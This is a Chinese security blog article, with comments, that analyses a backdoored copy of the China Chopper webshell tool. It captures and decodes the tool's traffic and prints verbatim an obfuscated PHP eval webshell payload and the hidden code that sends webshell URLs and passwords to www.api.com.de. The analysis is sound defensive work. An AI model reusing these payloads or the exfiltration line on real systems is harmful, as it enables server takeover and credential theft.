技术揭秘:如何分析中国菜刀是否包含后门?

2016-01-18 937112人围观 ,发现 51 个不明物体 系统安全

原创作者:simeon

0×00 前言

我国有一句古话“常在河边走,哪有不湿鞋”,互联网上流传的工具很多是带有后门的,例如SSH Secure Client就曾被曝留有后门(Putty汉化版被爆存在后门 可窃取管理员帐号),在工具中留后门,那么就可以源源不断的获取“活的”攻击者、管理员等提交登录的帐号和密码,获取服务器和webshell等权限,那么在著名的webshell管理工具中国菜刀会不会留有后门呢?请看参考本文的分析,亲自操作一把就知道了!

0×01 菜刀简介

软件名称:中国菜刀(China chopper),中国菜刀,不是原来切菜做饭的道具,而是一款专业的网站管理软件,用途广泛,使用方便,小巧实用。只要支持动态脚本的网站,都可以用中国菜刀来进行管理!程序大小:214K,在非简体中文环境下使用,自动切换到英文界面。UINCODE方式编译,支持多国语言输入显示。

官方网站:www.maicaidao.com,官方于2014年停止对外提供服务,最终版本下载地址为http://bbs.mgame.baidu.com/data/attachment/forum/201305/31/index.zip

0×02 实验准备环境

  (1)在本机安装ComsenzEXP,下载地址:http://www.comsenz.com/downloads/install/exp
  (2)在ComsenzEXP安装目录的wwwroot下面新建一句话后门php文件。
  (3)WSockExpert_Cn程序
  (4)encode程序
  (5)带有后门的chopper程序一套

0×03 分析并获取后门过程

(1)新建一条中国菜刀记录

在中国菜刀中新建一条记录,加入一句话后门地址“http://127.0.0.1/1.php”密码为“x”,如图1所示。

图1新建webshell管理记录

(2)设置WSockExpert抓包软件

打开WSockExpert软件,也可以选择其它抓包软件,选择需要监听的程序(打开文件夹那个图标按钮),在本例中选择“中国菜刀”,如图2所示,设置完成后WSockExpert开始对中国菜刀进行监听并获取其通信过程的包等数据。

图2设置WSockExpert抓包软件

(3)使用中国菜刀打开webshell

在中国菜刀中打开webshell记录http://127.0.0.1/1.php,如图3所示,可以对webshell所在的计算机上浏览、删除、上传等文件操作。

图3打开webshell

(4)获取抓包数据

在WSockExpert软件窗口可以看到抓取的数据包记录,在其中选择第二条记录,如图4所示,将数据包的内容复制,其内容如下:

x=%24_%3Dstrrev%28edoced_46esab%29%3B%40eval%28%24_%28%24_POST%5Bz0%5D%29%29%3B&z0=QGV2YWwoYmFzZTY0X2RlY29kZSgnYVdZb0pGOURUMDlMU1VWYkoweDVhMlVuWFNFOU1TbDdjMlYwWTI5dmEybGxLQ2RNZVd0bEp5d3hLVHRBWm1sc1pTZ25hSFIwY0RvdkwzZDNkeTVoY0drdVkyOXRMbVJsTDBGd2FTNXdhSEEvVlhKc1BTY3VKRjlUUlZKV1JWSmJKMGhVVkZCZlNFOVRWQ2RkTGlSZlUwVlNWa1ZTV3lkU1JWRlZSVk5VWDFWU1NTZGRMaWNtVUdGemN6MG5MbXRsZVNna1gxQlBVMVFwS1R0OScpKTtAaW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCIwIik7QHNldF90aW1lX2xpbWl0KDApO0BzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7ZWNobygiLT58Iik7OyREPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTtpZigkRD09IiIpJEQ9ZGlybmFtZSgkX1NFUlZFUlsiUEFUSF9UUkFOU0xBVEVEIl0pOyRSPSJ7JER9XHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCJ7JEx9OiIpKSRSLj0ieyRMfToiO30kUi49Ilx0IjskdT0oZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpP0Bwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKTonJzskdXNyPSgkdSk%2FJHVbJ25hbWUnXTpAZ2V0X2N1cnJlbnRfdXNlcigpOyRSLj1waHBfdW5hbWUoKTskUi49Iih7JHVzcn0pIjtwcmludCAkUjs7ZWNobygifDwtIik7ZGllKCk7

以上代码中包含url编码,无法看出什么。

图4查看数据包

(5)对url数据进行解包

将上面获取的数据复制到Encode中,如图5所示,选择“URI”类型,单击“Decoder”进行解码;单击“Encoder”按钮对输入框中的内容进行编码。

图5对url数据进行解码

解码后的数据变为:

x=$_=strrev(edoced_46esab);@eval($_($_POST[z0]));&z0=QGV2YWwoYmFzZTY0X2RlY29kZSgnYVdZb0pGOURUMDlMU1VWYkoweDVhMlVuWFNFOU1TbDdjMlYwWTI5dmEybGxLQ2RNZVd0bEp5d3hLVHRBWm1sc1pTZ25hSFIwY0RvdkwzZDNkeTVoY0drdVkyOXRMbVJsTDBGd2FTNXdhSEEvVlhKc1BTY3VKRjlUUlZKV1JWSmJKMGhVVkZCZlNFOVRWQ2RkTGlSZlUwVlNWa1ZTV3lkU1JWRlZSVk5VWDFWU1NTZGRMaWNtVUdGemN6MG5MbXRsZVNna1gxQlBVMVFwS1R0OScpKTtAaW5pX3NldCgiZGlzcGxheV9lcnJvcnMiLCIwIik7QHNldF90aW1lX2xpbWl0KDApO0BzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7ZWNobygiLT58Iik7OyREPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTtpZigkRD09IiIpJEQ9ZGlybmFtZSgkX1NFUlZFUlsiUEFUSF9UUkFOU0xBVEVEIl0pOyRSPSJ7JER9XHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCJ7JEx9OiIpKSRSLj0ieyRMfToiO30kUi49Ilx0IjskdT0oZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpP0Bwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKTonJzskdXNyPSgkdSk/JHVbJ25hbWUnXTpAZ2V0X2N1cnJlbnRfdXNlcigpOyRSLj1waHBfdW5hbWUoKTskUi49Iih7JHVzcn0pIjtwcmludCAkUjs7ZWNobygifDwtIik7ZGllKCk7

将解码后的“z0=”后面的数据复制到Encode输入框中,选择base64解码,如图6所示,获取第一次base64解码后的数据,在标红的部分还存在base64加密。

@eval(base64_decode('aWYoJF9DT09LSUVbJ0x5a2UnXSE9MSl7c2V0Y29va2llKCdMeWtlJywxKTtAZmlsZSgnaHR0cDovL3d3dy5hcGkuY29tLmRlL0FwaS5waHA/VXJsPScuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddLicmUGFzcz0nLmtleSgkX1BPU1QpKTt9'));@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z")
 as 
$L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print
 $R;;echo("|<-");die();

图6第一次base64解码

将上面标红的部分的base64加密代码复制到Encode程序输入框中,选择base64进行Decode,如图7所示,获取其后门地址代码:

if($_COOKIE['Lyke']!=1){setcookie('Lyke',1);@file('http://www.api.com.de
/Api.php?Url='.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'].'&
Pass='.key($_POST));},

其中

http://www.api.com.de/Api.php?Url='.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'].'&Pass='.key($_POST)

为后门接收地址,在黑客打开webshell时会自动将shell地址和密码发送到网站www.api.com.de。

图7获取后门地址

0×04 后记

通过上面的分析,可以了解到中国菜刀被留后门,用户在使用该工具过程中会自动将webshell记录发送到指定网站进行接收。因此在网上下载的工具,一定要留一个心眼,最好将其放在虚拟机中运行,尽量到官方发布的网站进行下载。

参考文章:

1. Fireeye技术剖析中国菜刀

2.Putty汉化版被爆存在后门 可窃取管理员帐号

3.文章涉及工具及录像可下载地址:http://www.antian365.com/lab/project03/project03.rar

*作者:simeon,本文属FreeBuf原创奖励计划文章,未经许可禁止转载

这些评论亮了

  • simeon (3级) 多做少说。 回复
    统一回复一下大家:
    1.写本文的目的是让大家学会分析网上的来的工具可能包含后门.
    2.本文提及的工具均在虚拟机中运行,不是原创工具,不能保证是否有后门,杀毒软件目前已经将中国菜刀定义为病毒.建议所有测试工具均在虚拟机中运行!!!
    3.原版的工具已经不提供下载了,所以提供一个山寨版本以及包含后门的中国菜刀进行分析.
    4.本文的目的是交流,不是掐架,有本事你就多写点技术文章进行分享.
    5.说实话,国内安全圈真正还在踏踏实实做安全技术研究的很少,请扪心自问,您不是在娱乐,而我仍在在坚持做技术研究.安全技术没有三到五年的沉淀都是操蛋的.在社会上懂1个技术就忽悠说懂10个!
    6.不好意思说下,我自己硬考高级工程师通过了,本人喜欢学习,喜欢技术.欢迎前来交流.
    )36( 亮了
  • 三流火 回复
    楼主分析的菜刀MD5为 016427AF815F6D8D72B639B034405F34 ,对应maicaidao.org 上所声称的20111017版本。
    而实际上正版菜刀无此版本。
    有的是以下两个
    20111116 => 5001ef50c7e869253a7c152a638eab8a
    20141213 => 4b4a956b9c7dc734f339fa05e4c2a990
    )15( 亮了
  • 夜尽天明 (6级) 千秋邈矣独留我,百战归来再读书 回复
    确定菜刀官方网站是www.maicaidao.org而不是www.maicaidao.com??
    )10( 亮了
  • kgchen 回复
    楼主简历真吊
    )8( 亮了
  • 宁德筝情伊林古筝艺术 回复
    难道官网下载的菜刀也不能用吗????
    )8( 亮了
发表评论

已有 51 条评论

取消
Loading...
css.php